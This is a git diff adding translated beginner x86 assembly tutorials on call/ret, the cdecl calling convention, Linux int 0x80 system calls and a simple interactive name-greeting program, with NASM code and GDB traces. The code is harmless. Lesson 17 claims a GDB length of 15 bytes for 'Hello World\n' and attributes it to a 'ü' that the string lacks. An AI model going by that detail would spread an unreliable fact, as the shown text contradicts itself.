+1. **`esp` decreased by 4** (`c570 → c56c`) — that is, `call` did a **`push`** (14: push = esp−4).
+2. **`0x0804900a` was written to the top of the stack** — exactly the address of the instruction after `call` (`mov ebx, eax`). There's the **return address**, jotted into the notepad.
+3. **`eip` jumped to `0x8049013`** (`ekle5`) — we went to the function.
+
+`call` = "jot the return address onto the stack, then leap to the function." When the function finishes its work and says `ret`, that note (`0x804900a`) is `pop`ped from the stack and the worker returns right there. If you call from different places, a different return address is jotted down each time — the problem `jmp` couldn't solve is solved with a single `push`/`pop`.
+
+> 🔑 `call` = **`push` (return address) + `jmp` (to the function)**; `ret` = **`pop` (return address) + go there.** The return address is a note left on the stack (14!). Functions aren't magic; they're just jumps that "write onto the stack where to return to." That's why 14 came right before 15.
+
+> ⚠️ Small but critical: if you `push` inside the function and forget the balancing `pop`, `ret` will find **the value you left** at the top of the stack instead of the return address and "return" there — the program crashes or goes haywire. How we keep the stack **balanced** inside a function (and how we pass data to a function) is exactly the topic of lesson 16.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FUNCTION = a reusable piece of code that has a name (named with a label, called with call). Avoids copy-paste.
+☐ Why jmp isn't enough: it goes but doesn't remember "where to return to." Different call sites → different return point.
+☐ call label = REMEMBER the return address + go to the label. ret = RETURN to the remembered address. (A pair; end of function = ret.)
+☐ BEHIND THE CURTAIN (no magic):
+ - call = push (return address = address of the instruction after call) + jmp (to the function).
+ - ret = pop (return address) + go there.
+ - Return address = a note left on the stack from 14.
+ - gdb proof: at call esp c570→c56c (-4 = push), [esp]=0x804900a (instruction after call), eip→ekle5.
+☐ Verified: one call 10+5=15 ; two calls 10+5+5=20 (same piece reused).
+☐ WATCH OUT: if push/pop is unbalanced inside a function ret returns to the wrong place → crash. Balance + passing data = lesson 16.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [14_stack.md](./14_stack.md) — the foundation `call`/`ret` is built on; the return address is a note `push`ed onto the stack. This lesson wouldn't exist without 14
+- [11_ziplamalar.md](./11_ziplamalar.md) — `call` is essentially a `jmp` (+ a return address); labels come from here too
+- [09_aritmetik.md](./09_aritmetik.md) — the `add` inside `ekle5`; functions package up familiar instructions
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eip` ("where am I"); `call`/`ret` are really about managing `eip` through the stack
+
+---
+
+**Previous topic:** [14_stack.md](./14_stack.md)
+**Next topic:** [16_calling_convention.md](./16_calling_convention.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
new file mode 100644
index 0000000..ae74cc0
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
@@ -0,0 +1,198 @@
+# 📜 x86 Assembly — Calling Convention: Giving Data to a Function
+
+> In 15 we wrote a function called `ekle5`, but we pulled a little trick: the function took its data straight from `eax` and left the result back in `eax` — we just said "everyone use eax" and moved on. Real functions don't work like that.
+> Because you have to tell a real function **"add these two numbers"**: how do you *give* it the numbers? Where do you *collect* the result from? And that "stack balance" business I warned about at the end of 15 — whose responsibility is it? That's the subject of this lesson: a shared **contract** everyone abides by.
+
+> **This lesson has code and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [We Need a Contract: cdecl](#we-need-a-contract-cdecl)
+- [Pass Arguments via the Stack, Get the Result in `eax`](#pass-arguments-via-the-stack-get-the-result-in-eax)
+- [The `ebp` Anchor: Prologue and `[ebp+8]`](#the-ebp-anchor-prologue-and-ebp8)
+- [All Together: `Topla(3, 5)`](#all-together-topla3-5)
+
+---
+
+## We Need a Contract: cdecl
+
+There is no "natural" way to give data to a function — someone has to **set the rules**. The caller and the callee are two separate pieces of code; if they don't agree, it's chaos. For example:
+
+- Should the caller put the numbers in `eax`/`ebx`, or on the stack?
+- Where should the function leave its result so the caller can find it?
+- If the function trashes `ecx` while running, does the caller's `ecx` get destroyed?
+- Who cleans up the arguments pushed onto the stack afterward?
+
+We need an **agreement** whose answers to these questions everyone knows in advance. This agreement is called a **calling convention**. There is no single "right" one — different systems have different conventions. On **32-bit Linux** the most common is **cdecl**; that's the one we'll learn.
+
+cdecl's three core rules (the rest is detail):
+
+1. **Arguments are pushed onto the stack** — and moreover **right to left** (last argument first).
+2. **The return value comes back in `eax`.**
+3. **The caller cleans up the arguments** (not the function).
+
+(The answer to the question we asked above — *"if `ecx` gets trashed, does the caller's `ecx` get destroyed?"* — is also part of this contract: which register is preserved by whom is bound to a definite rule. But that's a detail — for now these three rules are enough to write `Topla`, so we won't get into that subtlety.)
+
+Now let's see each of these one by one, with running code.
+
+> 🔑 **Calling convention** = the agreement between the caller and the function about "where we'll put the data, where we'll get the result from, who will clean up." There's no single right answer; on 32-bit Linux the standard is **cdecl**: arguments on the stack (right to left), result in `eax`, cleanup on the caller.
+
+---
+
+## Pass Arguments via the Stack, Get the Result in `eax`
+
+In 15 we looked for a way to give data to a function and saw that we put the return address on the stack. Arguments go to the same place: **before calling, you `push` them onto the stack.** cdecl wants them **right to left** — that is, for `Topla(3, 5)` you push `5` first, then `3`:
+
+```nasm
+ push dword 5 ; 2nd argument first (right to left)
+ push dword 3 ; 1st argument after
+ call topla
+```
+
+Why reversed? This way, **right before `call`**, the 1st argument sits at the top of the stack; when `call` pushes the return address on top of it (15), the top becomes the **return address** again, and the 1st argument stays right **below** it (closest to the return address) — so when the function asks "where's my first argument?" it looks at a consistent spot. We'll see its exact address in a moment.
+
+The result comes back in `eax` (rule 2) — after all, `ekle5` in 15 already left its result in eax; cdecl just makes this an official rule. When the function returns, the caller looks at `eax` and finds the result there.
+
+> 🔑 Arguments are `push`ed onto the stack **before** `call`, in cdecl **right to left** (last argument pushed first → first argument stays on top). The return value comes in **`eax`**. Data going in: stack; result coming back: eax.
+
+---
+
+## The `ebp` Anchor: Prologue and `[ebp+8]`
+
+How will the function reach the arguments? First idea: "they're at the top of the stack, I'll read them with `[esp+...]`." But there's a trap: inside the function every `push`/`pop`, and `call`, means **`esp` keeps moving** (14). Sometimes you'd look for the argument at `[esp+4]`, a moment later at `[esp+12]` — shifting ground. We need a fixed reference.
+
+The solution is to make one register a **fixed anchor**: **`ebp`** (*base pointer*). At the start of the function you copy `esp`'s current value into `ebp`; then no matter how much `esp` moves, `ebp` **doesn't budge** and you always read the arguments relative to it. These two setup lines are called the **prologue**:
+
+```nasm
+topla:
+ push ebp ; save the caller's ebp (they need it, don't trash it)
+ mov ebp, esp ; ebp = current top → fixed anchor
+```
+
+(In this first example the caller is `_start`; it hadn't written anything meaningful into `ebp`, so the **content** of the value we save is unimportant. But **the line itself** matters: most callers have a real `ebp` that needs to be preserved — you'll see it with C functions in 19 — so the pattern saves the caller's `ebp` whoever the caller is. Here it's just protecting that "empty" one.)
+
+After these two lines the stack is laid out like this (from 14: up = larger address). `ebp` is now fixed; relative to it, the arguments:
+
+```
+ [ebp + 12] → 2nd argument (5)
+ [ebp + 8] → 1st argument (3)
+ [ebp + 4] → return address (put by call, 15)
+ [ebp + 0] → saved old ebp ← ebp points here
+```
+
+So the **1st argument is always `[ebp+8]`**, the 2nd argument `[ebp+12]` — it doesn't change no matter what `esp` does. (Why 8? `[ebp]` holds the old ebp, `[ebp+4]` holds the return address; the arguments are above them, starting at +8.) When the work is done you return the anchor and the stack to their old state — this is called the **epilogue**:
+
+```nasm
+ pop ebp ; give the caller's ebp back
+ ret ; go to the return address (15)
+```
+
+> 🔑 Because `esp` keeps moving, reading arguments relative to it is fragile; instead you make **`ebp` a fixed anchor**. The **prologue** (`push ebp` / `mov ebp, esp`) sets up the anchor; now the **1st argument is `[ebp+8]`**, the 2nd is `[ebp+12]`. The **epilogue** (`pop ebp` / `ret`) restores the old state. Nearly every function begins and ends with this pattern.
+
+---
+
+## All Together: `Topla(3, 5)`
+
+Let's gather all three rules into a single program. `topla_fn.asm` — a real `Topla(3, 5)` call:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 5 ; 2nd argument (right to left)
+ push dword 3 ; 1st argument
+ call topla ; Topla(3, 5)
+ add esp, 8 ; CALLER cleans up: 2 arguments × 4 bytes = 8
+ mov ebx, eax ; return value in eax → to exit
+ mov eax, 1
+ int 0x80
+
+topla:
+ push ebp ; --- prologue ---
+ mov ebp, esp
+ mov eax, [ebp+8] ; 1st argument (3)
+ add eax, [ebp+12] ; + 2nd argument (5) → eax = 8 (return value)
+ pop ebp ; --- epilogue ---
+ ret
+```
+
+There's just one new piece: the `add esp, 8` after `call`. This is **rule 3** — the caller cleans up the 2 arguments (2 × 4 = 8 bytes) it pushed onto the stack. Why `add` and not `sub`? The stack grows downward (toward smaller addresses) (14); when you `push`ed the arguments, `esp` had **decreased** by 8, so cleanup **increases** it back by 8 — "erasing" here means moving `esp` above where we pushed, back up to the old top. (Recall the warning from 15: if the stack doesn't stay balanced, things break. Since it's the caller that pushes the arguments, it's also the one that cleans them.) Run it:
+
+```
+nasm -f elf32 topla_fn.asm -o topla_fn.o
+ld -m elf_i386 topla_fn.o -o topla_fn
+./topla_fn
+echo $?
+```
+
+```
+8
+```
+
+`Topla(3, 5) = 8`. Replace the arguments with two different numbers (`push 20` / `push 10`, i.e. `Topla(10, 20)`):
+
+```
+30
+```
+
+Same function, different arguments, correct result. Let's verify in GDB that the function really reads its arguments from `[ebp+8]`/`[ebp+12]` — after the prologue:
+
+```
+gdb ./topla_fn
+(gdb) break topla
+(gdb) run
+(gdb) si # push ebp
+(gdb) si # mov ebp, esp (anchor set up)
+(gdb) x/1dw $ebp+8 # 1st argument
+(gdb) x/1dw $ebp+12 # 2nd argument
+(gdb) x/1xw $ebp+4 # return address
+```
+
+Real output:
+
+```
+[ebp+8] (1.arg) = 3
+[ebp+12] (2.arg) = 5
+[ebp+4] (return address) = 0x08049009
+```
+
+**There's the contract, in action.** `3` and `5` are exactly where expected (`[ebp+8]`, `[ebp+12]`), and the return address is right between them (`[ebp+4]`), just as we learned in 15. The function read them, added them, returned the result in `eax` (8); the caller found the result in eax and cleaned up the stack. Nobody stepped on anybody's toes — because both obeyed the same contract.
+
+> 💡 **You might be wondering:** *"Isn't all this ceremony a bit much just to add three numbers?"* In a tiny example it looks that way. But the idea is this: **any** function that obeys this contract can talk to **any** other one — the ones you write, the ones the compiler produces, the operating system's libraries. In a moment (19), when you look at the assembly of a C program, you'll see exactly this pattern — `push ebp` / `mov ebp, esp` / `[ebp+8]`. cdecl is "the common language everyone speaks"; its hassle is the price of its universality.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ CALLING CONVENTION = caller↔function agreement (data where, result from where, who cleans). 32-bit Linux = cdecl.
+☐ cdecl 3 rules:
+ 1) Arguments pushed onto the stack, RIGHT TO LEFT (last arg first → 1st arg on top).
+ 2) Return value in EAX.
+ 3) The CALLER cleans up the arguments (after call: add esp, ).
+☐ ebp = FIXED ANCHOR (esp keeps moving, can't be trusted):
+ - PROLOGUE: push ebp ; mov ebp, esp
+ - Arguments: 1st = [ebp+8] , 2nd = [ebp+12] ([ebp]=old ebp, [ebp+4]=return address, above them the arguments)
+ - EPILOGUE: pop ebp ; ret
+☐ Verified: Topla(3,5)=8 ; Topla(10,20)=30. gdb: [ebp+8]=3, [ebp+12]=5, [ebp+4]=return address.
+☐ Why it matters: the C compiler produces exactly this pattern too (you'll see in 19). cdecl = everyone's common language.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [15_call_ve_ret.md](./15_call_ve_ret.md) — `call`/`ret` and the return address on the stack (`[ebp+4]`); this lesson lays a "passing data" layer on top of it
+- [14_stack.md](./14_stack.md) — Where the arguments and `ebp` live; `push`/`pop` and `esp`'s movement. The prologue/epilogue are pure stack work
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[ebp+8]` = "the box at address ebp+8"; reading an argument is exactly following a pointer
+- [09_aritmetik.md](./09_aritmetik.md) — The `add` inside the function; the contract just wraps around it
+
+---
+
+**Previous topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+**Next topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
new file mode 100644
index 0000000..619ed59
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
@@ -0,0 +1,167 @@
+# 🖥️ x86 Assembly — System Calls: "Hello World" on the Screen
+
+> For all these lessons our programs ran in the same silence: they did a calculation, put the result in the **exit code**, and we secretly read it with `echo $?`. We never printed a single letter to the screen. Today we break that silence.
+> And along the way, those two mysterious lines we've copied to the end of every program — `mov eax, 1` / `int 0x80` — will finally be explained. The debt I've owed since lesson 06, saying "just write it like this for now, I'll explain it later," is paid off in this lesson.
+
+> **There is code in this lesson and we run all of it.** Every program, every output, and every GDB line below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Can't a Program Write to the Screen Directly?](#why-cant-a-program-write-to-the-screen-directly)
+- [System Calls and `int 0x80`](#system-calls-and-int-0x80)
+- [The First Real Output: Hello World](#the-first-real-output-hello-world)
+- [An Old Debt: What Was `mov eax, 1`?](#an-old-debt-what-was-mov-eax-1)
+
+---
+
+## Why Can't a Program Write to the Screen Directly?
+
+Intuition might say: "to write to the screen I'll just write something into the screen's memory, and that's that." But on a modern computer you **can't** — and this isn't a shortcoming, it's a deliberate security wall.
+
+Think about it: dozens of programs are running at the same time (browser, music, terminal...). If each of them could touch the screen, the disk, or the network card however it pleased, it would be complete chaos — one would write into another's window, one would overwrite another's file. That's why direct access to hardware (screen, disk, keyboard) belongs **only to the operating system** (the OS — the Linux kernel). Your program runs on the "user" side, in a locked room.
+
+So how are you going to write to the screen? **By asking the OS to do it for you.** You say, "I can't write to the screen, but you can — would you print this text for me?" The name of this request is a **system call**.
+
+> 🔑 A program can't touch hardware (screen/disk/keyboard) **directly** — that privilege belongs only to the operating system (for security + order). The program's only path is to **ask** the OS. This request is called a **system call** (syscall).
+
+---
+
+## System Calls and `int 0x80`
+
+A system call means telling the OS "do this job" — but the OS can do hundreds of jobs (write, read, open a file, exit...). You say which one you want with a **number**. On 32-bit Linux, a few basic numbers:
+
+| Number | Name | What it does |
+|:---:|---|---|
+| 1 | `sys_exit` | end the program |
+| 3 | `sys_read` | read input (e.g. from the keyboard) |
+| 4 | `sys_write` | write somewhere (e.g. to the screen) |
+
+The way to deliver the request to the OS — **on 32-bit Linux** — is the `int 0x80` instruction. `int 0x80` means "knock on the OS's door"; the worker stops, control passes to the OS, the OS sees the request and does it. But the OS asks "which job, with which details?"; you put the answer into **registers** beforehand. The rule:
+
+- **`eax`** = system call number (which job).
+- **`ebx`, `ecx`, `edx`** = the arguments of that job (in order).
+
+Sound familiar? This is exactly the calling convention from lesson 16 — only this time the "function" you're calling is the operating system, and you put the arguments into registers instead of the stack. Same idea: "put the data in the agreed-upon places, then call."
+
+> 🔑 A system call = asking the OS to do a job. **`eax`** = job number (1 exit, 3 read, 4 write), **`ebx`/`ecx`/`edx`** = arguments, then **`int 0x80`** = "knock on the door, OS takes over." (This is 32-bit Linux's way.)
+
+---
+
+## The First Real Output: Hello World
+
+To write to the screen we use `sys_write` (number 4). Its arguments are:
+
+- `ebx` = **where** to write — this is called the *file descriptor*; **`1` = the screen** (stdout).
+- `ecx` = **what** to write — the **address of the text in memory** (from lesson 08: the address of a label).
+- `edx` = **how many bytes** to write — the length of the text.
+
+So: "to place number 1 (the screen), write the text at this address, this many bytes." We put the text into a label in `section .data`, just like in lesson 08. `merhaba.asm`:
+
+```nasm
+section .data
+ mesaj: db "Hello World", 10 ; 10 = end of line (newline, '\n')
+ uzunluk equ $ - mesaj ; current address - mesaj address = number of bytes
+
+section .text
+ global _start
+_start:
+ mov eax, 4 ; sys_write
+ mov ebx, 1 ; where: 1 = screen (stdout)
+ mov ecx, mesaj ; what: the text's address
+ mov edx, uzunluk ; how many bytes
+ int 0x80 ; ask the OS: write!
+
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code 0
+ int 0x80
+```
+
+There are two small new things. `db "...", 10`: `db` (the byte sibling of `dd` from lesson 08) puts the text into memory byte by byte; the trailing `10` is the newline character (so the cursor drops to the next line). `uzunluk equ $ - mesaj`: `$` means "the current address"; subtracting the address of `mesaj` from it gives the **number of bytes** in between — so you don't have to count the length by hand. Assemble, run:
+
+```
+nasm -f elf32 merhaba.asm -o merhaba.o
+ld -m elf_i386 merhaba.o -o merhaba
+./merhaba
+```
+
+```
+Hello World
+```
+
+**There's the moment.** After all those calculations, decisions, loops, and functions — for the first time the program told you something **directly**. Not a number hidden in the exit code; text on the screen, with your own eyes.
+
+Let's see in GDB that the registers really are set up right before `int 0x80`:
+
+```
+(gdb) starti
+(gdb) si (×4 — skip the four movs)
+(gdb) print $eax → 4 (sys_write)
+(gdb) print $ebx → 1 (screen)
+(gdb) print $edx → 15 (number of bytes)
+(gdb) x/s $ecx → 0x804a000: "Hello World\n"
+(gdb) x/i $eip → int 0x80
+```
+
+All four registers are exactly in place: job number 4, target 1, length 15 (15 rather than 14 because the letter ü takes 2 bytes in UTF-8 — but `equ` counted this for you), and `ecx` points right at our text. When `int 0x80` fires, the OS reads these and prints to the screen.
+
+> 🔑 Writing to the screen = `sys_write` (eax=4): `ebx`=1 (screen), `ecx`=address of the text, `edx`=number of bytes, then `int 0x80`. You put the text down with `db "...", 10` (10=newline), and `equ $ - label` counts the length for you.
+
+> 💡 **You might be wondering:** *"`sys_read` (3) is in the table too — can we read input as well?"* Yes, by the same logic: `sys_read` takes some text from the keyboard and puts it into memory (ebx=0 = keyboard/stdin, ecx=where, edx=at most how many bytes). You've learned to write to the screen; we'll build **reading** and combine the two into a truly interactive program — *"one that asks you for something and responds based on your answer"* — in the next lesson (18).
+
+---
+
+## An Old Debt: What Was `mov eax, 1`?
+
+Now go back and look at the program's **last two lines**:
+
+```nasm
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code
+ int 0x80
+```
+
+Recognize it? This is the pattern you've copied to the end of **every** program since lesson 06. It turns out that too was a system call — it always was, we'd just deferred the explanation until today. Now you can read every piece of it:
+
+- `mov eax, 1` → **`sys_exit`** (call number 1): "end the program."
+- `mov ebx, 0` → the argument of the exit call: **the exit code.**
+- `int 0x80` → ask the OS.
+
+And here's the point that ties the whole course together: back in lesson 06 we said "put the result in `ebx`, and `echo $?` will show it" — **why `ebx`?** Because `sys_exit`'s exit-code argument sits in `ebx` (the rule above: the first argument is `ebx`). That number `echo $?` read was actually the `ebx` you gave as an argument to `sys_exit`. You've been making a system call all along — you just didn't know its name.
+
+> 🔑 The `mov eax, 1` / `int 0x80` you've used since lesson 06 = the **`sys_exit`** system call; `ebx` = the exit-code argument. The number `echo $?` read was this very `ebx`. That was the answer to "why do we put the result in ebx?" — the system call rule.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A program CAN'T touch hardware (screen/disk/keyboard) DIRECTLY; only the OS can (security+order). The program ASKS the OS.
+☐ This request = SYSTEM CALL. On 32-bit Linux:
+ - eax = call number (1=exit, 3=read, 4=write)
+ - ebx, ecx, edx = arguments
+ - int 0x80 = "knock on the door", control passes to the OS. (The OS version of lesson 16's calling convention.)
+☐ WRITE TO SCREEN = sys_write (eax=4): ebx=1(screen), ecx=address of the text, edx=number of bytes.
+ - Text: db "Hello World", 10 (10=newline). Length: equ $ - mesaj (counts automatically).
+ - Verified: "Hello World" printed to the screen; gdb: eax=4, ebx=1, edx=15, ecx→"Hello World\n".
+☐ DEBT PAID: mov eax,1 / int 0x80 = sys_exit; ebx = exit code. The number echo $? read = that ebx.
+ "Why put the result in ebx?" — because sys_exit's argument is ebx. (Since lesson 06 we'd been making syscalls without realizing it.)
+☐ Next up: sys_read (input) + combine it all → an interactive program that asks your name and greets you (18).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — where `mov eax, 1` / `int 0x80` and the "put the result in ebx, read it with `echo $?`" pattern first appeared; the debt was incurred here and paid off here
+- [16_calling_convention.md](./16_calling_convention.md) — the idea "put the arguments in the agreed-upon places, then call"; the syscall is that idea applied to the OS (registers instead of the stack)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, labels and addresses; `ecx = mesaj` is an address, and `db` is the byte form of `dd`
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "The operating system is the worker's boss"; why only the OS touches hardware, the big picture
+
+---
+
+**Previous topic:** [16_calling_convention.md](./16_calling_convention.md)
+**Next topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
new file mode 100644
index 0000000..32f9fe4
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
@@ -0,0 +1,179 @@
+# 🗣️ x86 Assembly — First Interactive Program: Ask a Name, Say Hello
+
+> In 17 we crossed a big threshold: the program **spoke** for the first time (printing "Hello World" to the screen with `sys_write`). But the conversation was one-way — the program talked, you listened. For a real interaction we need the second half: the program **listening to you.**
+> This lesson is a milestone. There's very little new here; the real work is to combine the pieces you've been collecting since the start of the course — memory, register, `mov`, system call — into **one real program.** By the end you'll have a program you wrote yourself, from scratch, that asks you a question and responds based on your answer.
+
+> **This lesson has code and we run all of it.** The program below and its output are real: I compiled and ran it on my own machine (I typed the input on the keyboard).
+
+---
+
+## 📋 Table of Contents
+
+- [The Missing Piece: Reading Input — `sys_read`](#the-missing-piece-reading-input--sys_read)
+- [Where the Input Goes: `section .bss`](#where-the-input-goes-section-bss)
+- [Put It All Together: The Name-Asking Program](#put-it-all-together-the-name-asking-program)
+- [How Much Was Read? The Return of `eax`](#how-much-was-read-the-return-of-eax)
+
+---
+
+## The Missing Piece: Reading Input — `sys_read`
+
+In 17 we saw three numbers in the system-call table: `1` exit, `4` write, and one we haven't used yet, `3` — **`sys_read`** (read). You learned how to write to the screen; now the reverse: **reading** from the keyboard.
+
+`sys_read` is the **mirror image** of `sys_write`. The same three arguments, but the direction is reversed:
+
+| | `sys_write` (write) | `sys_read` (read) |
+|---|---|---|
+| `eax` | 4 | **3** |
+| `ebx` (to where / from where) | 1 = screen (stdout) | **0 = keyboard (stdin)** |
+| `ecx` | address of the data to write | **address where the read data goes** |
+| `edx` | how many bytes to write | **at most how many bytes to read** |
+
+So `sys_read`: "from location `0` (the keyboard), read at most `edx` bytes and put them where `ecx` points." When the user types something and presses Enter, that text fills the memory region you specified.
+
+> 🔑 `sys_read` (eax=**3**) = read from the keyboard; the mirror of `sys_write`. `ebx=0` (keyboard/stdin), `ecx` = the address where the read data **goes**, `edx` = at most how many bytes. What the user types fills the memory at `ecx`.
+
+---
+
+## Where the Input Goes: `section .bss`
+
+A small problem: `sys_read` will put what it reads somewhere — but where? We need an **empty**, pre-allocated memory region (a "buffer"). We could use `section .data` from 08, but that's for data whose **value is known up front** (like `db "Hello"`). Our input buffer has no starting value — we just want to say "reserve me 32 bytes of empty space."
+
+There's a separate section for this: **`section .bss`** — memory that has no starting value, just **reserved** space. You ask for room inside it with `resb` ("reserve bytes"):
+
+```nasm
+section .bss
+ isim: resb 32 ; reserve a 32-byte empty buffer called 'isim'
+```
+
+`resb 32` means "32 bytes of empty space, named `isim`." Unlike `db` it doesn't write anything into it — it just opens a blank notebook page for `sys_read` to come and fill.
+
+> 🔑 Data with a known starting value → `section .data` (`db`, 08). An empty buffer to be filled (for input) → `section .bss` (`resb N` = reserve N bytes of empty space). The input buffer goes in `.bss` because it's empty to begin with.
+
+---
+
+## Put It All Together: The Name-Asking Program
+
+Now let's combine the pieces. The program's plan in plain English:
+
+1. Write **"What's your name? "** to the screen. (`sys_write`, 17)
+2. **Read** the name from the keyboard, put it in the buffer. (`sys_read`)
+3. Write **"Hello, "** to the screen.
+4. Write the **name** that was read back out.
+5. Exit. (`sys_exit`, 17)
+
+`selam.asm`:
+
+```nasm
+section .data
+ soru: db "What's your name? "
+ soru_uz equ $ - soru
+ selam: db "Hello, "
+ selam_uz equ $ - selam
+
+section .bss
+ isim: resb 32 ; empty buffer for input
+
+section .text
+ global _start
+_start:
+ ; 1) write the question
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, soru
+ mov edx, soru_uz
+ int 0x80
+
+ ; 2) read the name
+ mov eax, 3 ; sys_read
+ mov ebx, 0 ; keyboard
+ mov ecx, isim ; put it in the buffer
+ mov edx, 32 ; at most 32 bytes
+ int 0x80
+ mov esi, eax ; save the number of bytes read (explained below)
+
+ ; 3) write "Hello, "
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, selam
+ mov edx, selam_uz
+ int 0x80
+
+ ; 4) write the name back (exactly as many bytes as were read)
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, isim
+ mov edx, esi ; number of bytes read
+ int 0x80
+
+ ; 5) exit
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+The only new line is `mov esi, eax` (in a moment). The rest is familiar: four system calls with `mov`s sprinkled between them. Assemble it, run it, and **when it asks you, type your name:**
+
+```
+nasm -f elf32 selam.asm -o selam.o
+ld -m elf_i386 selam.o -o selam
+./selam
+```
+
+```
+What's your name? Ada
+Hello, Ada
+```
+
+(Above, `Ada` is what you typed; the program read it and greeted you.) **That's it.** At the start of the course "the computer was a box"; now you've written a program for that box from scratch, one instruction at a time, that asks you a question and responds based on your answer. Something that asks you something, listens, and answers — a small but **complete** interaction.
+
+---
+
+## How Much Was Read? The Return of `eax`
+
+Let's return to that `mov esi, eax` line I didn't explain, because it solves a small but important subtlety. Names have different lengths: "Ada" is 3 letters, "Rüzgar" is longer. When we write the name back out, what do we put in `edx` (how many bytes)? If we write a fixed number, we either cut the name short or print extra (garbage from the buffer).
+
+Here's the trick: **system calls return a result, and that result comes back in `eax`** (recall the "return value is in eax" rule from 16 — same thing here). When `sys_read` finishes, `eax` tells you **how many bytes it read.** So we immediately save it into `esi` (`mov esi, eax`), then when writing the name we say `edx = esi` — that way it's **exactly what the user typed**, no more, no less. `esi` is a general-purpose register just like `eax`, `ebx` — one member of that handful you met in 04.5, put to use here for the first time. But why `esi` specifically? Because the `sys_write` that comes right after does `mov eax, 4` and would **overwrite** that value — if the read result had stayed in `eax` it would have been lost. But we never touch `esi` between the two calls, so the number waits there safe and sound. Any other register we don't touch would have worked too; the point is to get it out of `eax` and into a safe place.
+
+```nasm
+ int 0x80 ; sys_read
+ mov esi, eax ; eax = number of bytes read → save it
+ ...
+ mov edx, esi ; when writing back: exactly that many bytes
+```
+
+That's why in the output we also dropped to the next line after the name: when the user presses Enter, that line-ending (`10`) is also included in the bytes read (the `10` from 17), `sys_read` counted it too, and when we wrote it back the cursor moved down a line. So the behavior isn't a "coincidence" — it's the result of honestly using the number `eax` returned.
+
+> 🔑 A system call also gives a **return value**, in `eax` (16's rule). For `sys_read` this = **how many bytes were read.** Save it (`mov esi, eax`) and use it as the length when writing back, and you print exactly the input no matter its length. (The user's Enter = the last byte, which counts too.)
+
+> 💡 **You might be wondering:** *"Is this program 'real', or is it still a toy?"* Small but real. It contains the whole skeleton of a professional program: take input from the user, put it in memory, process it, print the result. The only thing missing is **scale** — error checking, more features, bigger structure. But the core loop (in→process→out) is exactly this. From here on it's "more," not "different."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ sys_read (eax=3) = read from the keyboard; the mirror of sys_write. ebx=0 (keyboard), ecx=where it goes, edx=at most how many bytes.
+☐ Empty input buffer → section .bss: isim: resb 32 (32 bytes of empty space). (Filled data .data/db; empty buffer .bss/resb.)
+☐ Interaction skeleton: write(question) → read(answer) → write(reply) → exit. Four syscalls, mov's between them.
+☐ A system call's RETURN value is in eax (16). sys_read → number of bytes read. Save it (mov esi,eax), and when writing back edx=esi.
+ → You print exactly the input no matter its length (Enter's newline counts too → moves to the next line).
+☐ Verified: "What's your name? " → user types "Ada" → "Hello, Ada". Works with variable-length names.
+☐ MILESTONE: from scratch, one instruction at a time, you wrote a complete interactive program that asks you a question and answers.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — `sys_write`, `int 0x80` and the syscall table; this lesson adds its `sys_read` half and combines the two
+- [16_calling_convention.md](./16_calling_convention.md) — The "return value is in eax" rule; `sys_read` returning the byte count in eax is exactly this
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, label and address; `.bss`/`resb` is its "reserve empty space" sibling
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — From the first "does-nothing" program to here: now the program asks, listens, answers
+
+---
+
+**Previous topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+**Next topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
new file mode 100644
index 0000000..fa4a2f6
--- /dev/null
